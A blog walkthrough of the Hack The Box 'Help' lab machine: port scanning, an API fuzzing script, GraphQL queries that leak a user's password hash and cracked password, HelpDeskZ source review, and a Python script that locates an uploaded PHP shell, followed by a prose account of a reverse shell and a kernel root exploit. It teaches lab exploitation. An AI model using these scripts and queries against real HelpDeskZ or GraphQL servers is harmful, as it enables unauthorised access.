Home Hack The Box Writeup - Help
Post
Cancel

Hack The Box Writeup - Help

Help is an easy Linux box. What seemed to be a straightforward box, turned out to have multiple ways to get access to the machine. While there is also a SQL Injection vulnerability which requires authentication, we were also able to use an Arbitrary File Read vulnerability to get the initial foothold. In this writeup, we somehow combine both approaches. First, we exploited the GraphQL exploitation to get valid user credentials for the HelpDeskZ application. Having access to the user panel, we were able to change the timezone of the server such that it matches the timezone of the attacker machine. After that, we exploited a weak file rename vulnerability in the upload functionality for attachments (which also allowed us to upload PHP files). Knowing the exact time when the file was uploaded, allowed us to access the uploaded PHP file and thus we were able to execute the PHP reverse shell code. Once we had access to the system, we realized that the kernel was rather outdated. And indeed, the kernel had a vulnerability which gave us root access to the system.

Enumeration

As always, we start by scanning the target machine’s open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
rustscan --ulimit 5000 help.htb -- sV -sC -oN nmap_scan

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZY4jlvWqpdi8bJPUnSkjWmz92KRwr2G6xCttorHM8Rq2eCEAe1ALqpgU44L3potYUZvaJuEIsBVUSPlsKv+ds8nS7Mva9e9ztlad/fzBlyBpkiYxty+peoIzn4lUNSadPLtYH6khzN2PwEJYtM/b6BLlAAY5mDsSF0Cz3wsPbnu87fNdd7WO0PKsqRtHpokjkJ22uYJoDSAM06D7uBuegMK/sWTVtrsDakb1Tb6H8+D0y6ZQoE7XyHSqD0OABV3ON39GzLBOnob4Gq8aegKBMa3hT/Xx9Iac6t5neiIABnG4UP03gm207oGIFHvlElGUR809Q9qCJ0nZsup4bNqa/
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHINVMyTivG0LmhaVZxiIESQuWxvN2jt87kYiuPY2jyaPBD4DEt8e/1kN/4GMWj1b3FE7e8nxCL4PF/lR9XjEis=
|   256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxDPln3rCQj04xFAKyecXJaANrW3MBZJmbhtL4SuDYX
80/tcp   open  http    syn-ack Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://help.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
3000/tcp open  http    syn-ack Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The port scan shows that the target machine has 3 open ports:

  • Port 22: Running OpenSSH 7.2p2 (Ubuntu)
  • Port 80: Apache httpd 2.4.18
  • Port 3000: Node.js Express framework

Enumeration Port 80

First, we examine the web application. Accessing the help.htb page on port 80 displays the Apache2 default page. So apparently, we first have to find the target directory.

Using Feroxbuster or Dirbuster, we discover two directories: /support and /javascript.

As the /javascript directory is rather common, we will focus on the /support directory for now. Accessing help.htb/support, we are prompted with a HelpDeskZ application:

Here, we have several options. If we had valid credentials, we could log in using the login form. Further, we can use the Submit a Ticket functionality to create a support-ticket where we can also upload attachments. We will come back to that later. First, let’s have a look at the other open port 3000.

Enumeration Port 3000

Accessing Port 3000, we see a JSON response from the web server. This strongly hints towards some kind of API. What I didnt know at this point was that the query keyword should have given us a hint for the used software. However, I found another way to enumerate the web application.

First, we try things like bruteforcing the directories using Feroxbuster. However this does not result in any findings. After that we try to fuzz API endpoints using wfuzz but this also leads to no results.

So let’s have a closer look at the actual output when we access something which does not exist:

My assumption at this point is that we might have hit an exisiting directory/API endpoint with the directory scanners. However, for some reason, these directory access also resulted in 4xx as some parameters are missing or we are not allowed to access the page.

So let’s write a script that does another directory scan but this time, we filter for the keyword Cannot, as this is the error message we get when we access something that does not exist.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/bash

arrVar=()

for i in $(cat /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt)
do
        string=`curl -s "http://help.htb:3000$i"`
        if [[ $string != *"Cannot"* ]]
        then
                echo "[+] Found Endpoint $i"
                arrVar+=("$i")
        fi
done

echo "[+] All Found Endpoints:"
for value in "${arrVar[@]}"
do
        echo $value
done

Running the script reveals a directory called graphql. Accessing this directory, we see why our directory scanners didnt find it. It also results in 40x as it’s missing a query parameter! So that’s what the previous hint wanted to tell us.

As I’m not really familiar with GraphQL, let’s do some research first.

GraphQL is a query language for APIs and a runtime for fulfilling those queries with your existing data. GraphQL provides a complete and understandable description of the data in your API, gives clients the power to ask for exactly what they need and nothing more, makes it easier to evolve APIs over time, and enables powerful developer tools. https://graphql.org/

So, apparently we can query information from that API endpoint using the query parameter. As I have no idea how to do that, let’s again look it up. A quick google search provides us with some very good articles on how to enumerate GraphQL.

Using the following query, we get all the information we need as seen in the following screenshot.

1
http://help.htb:3000/graphql?query={__schema{types{name,fields{name}}}}

Most important for us: username and password.

So let’s craft another query that specifically querys all users including their username and password.

1
http://help.htb:3000/graphql?query={user{username,password}}

There we go. This looks like a valid username and a hashed password.

Using hashcat we can crack the password. So the valid credentials we got are: helpme@helpme.com:godhelpmeplz.

Now let’s head back to the helpdeskz application and try to log in. If that works, we got our first valid credentials for the system! And it indeed does work!

Initial Foothold

For the initial foothold, I did some enumeration on the existing functionalities of the user panel. Especially the upload functionality (adding an attachment to the support ticket) seemed to be very interesting. However, when I tried to upload a .php file, I got an error stating File not allowed.. Also other ways to inject the php file did not work. That’s when I did some research on the software. One exploit stated that it is possible to upload PHP files and also to guess the file name of it, such that one can access it in the uploads directory.

I could have just used the exploit, but I wanted to go in depth why and how that works, because we obviously get that File not allowed. error, which contradicts the explanation of the existing exploit. As HelpDeskZ is an open source project, we have full access to its code on Github.

We dont need to understand all the code. For us it’s important to understand the upload mechanism of the attachments. The responsible code for that functionality can be found in the includes/parser/new_ticket.php file.

In line 2 we see the function call verifyAttachment(), which stores the result in fileverification. If this fileverification['msg_code'] equals to 0, the file is uploaded. Here, it’s important to note that the filename is calculated (line 5) using a weak technique (the md5 hash of the upload time). This file is then stored in the UPLOAD_DIR/tickets/ directory. This means, if our file is successfully uploaded, we can super easily guess the file name as we can also calculate the md5 hash of the upload time locally.

But first, let’s check the verifyAttachment() function to see how we can reach the upload part.

1
2
3
4
5
6
7
8
9
10
11
$fileinfo = array('name' => $filename, 'size' => $filesize);
$fileverification = verifyAttachment($fileinfo);
if($fileverification['msg_code'] == 0){
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $filename_encoded = md5($filename.time()).".".$ext;
    $data = array('name' => $filename, 'enc' => $filename_encoded, 'filesize' => $filesize, 'ticket_id' => $ticketid, 'msg_id' => $message_id, 'filetype' => $attachment->content_type);
    $db->insert(TABLE_PREFIX."attachments", $data);
    rename(UPLOAD_DIR.$filename, UPLOAD_DIR.'tickets/'.$filename_encoded);
}else{
    unlink(UPLOAD_DIR.$filename);
}

The verifyAttachment() function can be found in the includes/functions.php file.

Here we can can see that file extension is considered in line 5. However, the file extension is then never checked whether it’s valid or not. This means, for the upload, the file extension is never checked! Thus we can indeed upload .php files!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function verifyAttachment($filename){
	global $db;	
	$namepart = explode('.', $filename['name']);
	$totalparts = count($namepart)-1;
	$file_extension = $namepart[$totalparts];
	if(!ctype_alnum($file_extension)){
		$msg_code = 1;
	}else{
		$filetype = $db->fetchRow("SELECT count(id) AS total, size FROM ".TABLE_PREFIX."file_types WHERE type='".$db->real_escape_string($file_extension)."'");
		if($filetype['total'] == 0){
			$msg_code = 2;
		}elseif($filename['size'] > $filetype['size'] && $filetype['size'] > 0){
			$msg_code = 3;
			$misc = formatBytes($filetype['size']);
		}else{	
			$msg_code = 0;
		}
	}
	$data = array('msg_code' => $msg_code, 'msg_extra' => $misc);
	return $data;
}

So coming back to the naming function. Now that we know that our file will definitely be uploaded, we have to determine the name:

1
2
$filename_encoded = md5($filename.time()).".".$ext;
rename(UPLOAD_DIR.$filename, UPLOAD_DIR.'tickets/'.$filename_encoded);

as previously mentioned, the filename_encoded is very predictable. Now we just have to find out what the upload directory is. Fortunately, Github also helps us here:

So it’s taking our uploaded file and simply stores it as md5 hashed time + the original extension, meaning that we can successfully upload php files to the server and in addition can determine their uploaded name allowing us to get full access to those files.

File server is 2 hours behind my local time. However, as we have access to the system, we can simply change the timezone of the application. Then it should work without any flaws. Otherwise, just modify the range of tries in the following script:

We upload a PHP Shell and run the following script which bruteforces the name:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 3:
    print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
    sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]

currentTime = int(time.time())

for x in range(0, 300):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl+'/uploads/tickets/'+md5hash+'.php'
    response = requests.head(url)
    if response.status_code == 200:
        print "found!"
        print url
        sys.exit(0)

print "Sorry, I did not find anything"

When we run the script, we immediately find the uploaded file:

Accessing the file via the browser/using curl, results in our code being executed thus the server establishes a reverse shell to our machine.

Now we can obtain the user flag and proceed with the privilege escalation.

Privilege Escalation

As always, we start with the basic enumeration of the system meaning we check SUID, sudoers list, writable files, system information etc.

During this enumeration, we find something very interesting, namely the Kernel Version (4.4.0-116-generic) and that we are dealing with Ubuntu 16.04.4. Both these versions are rather old thus the possibility of existing exploits is very high.

As the first google search shows, my assumption is correct. There exists a Local Privilege Escalation exploit for the Linux Kernel < 4.4.0-116 (which fits our found Kernel Version.)

Further, we find that gcc is installed on the system. This means, we can simply copy-paste the exploit code to the target system and compile on the target machine itself. When we execute the resulting binary, we immediately get root access:

Final step is to obtain the root flag.

This post is licensed under CC BY 4.0 by the author.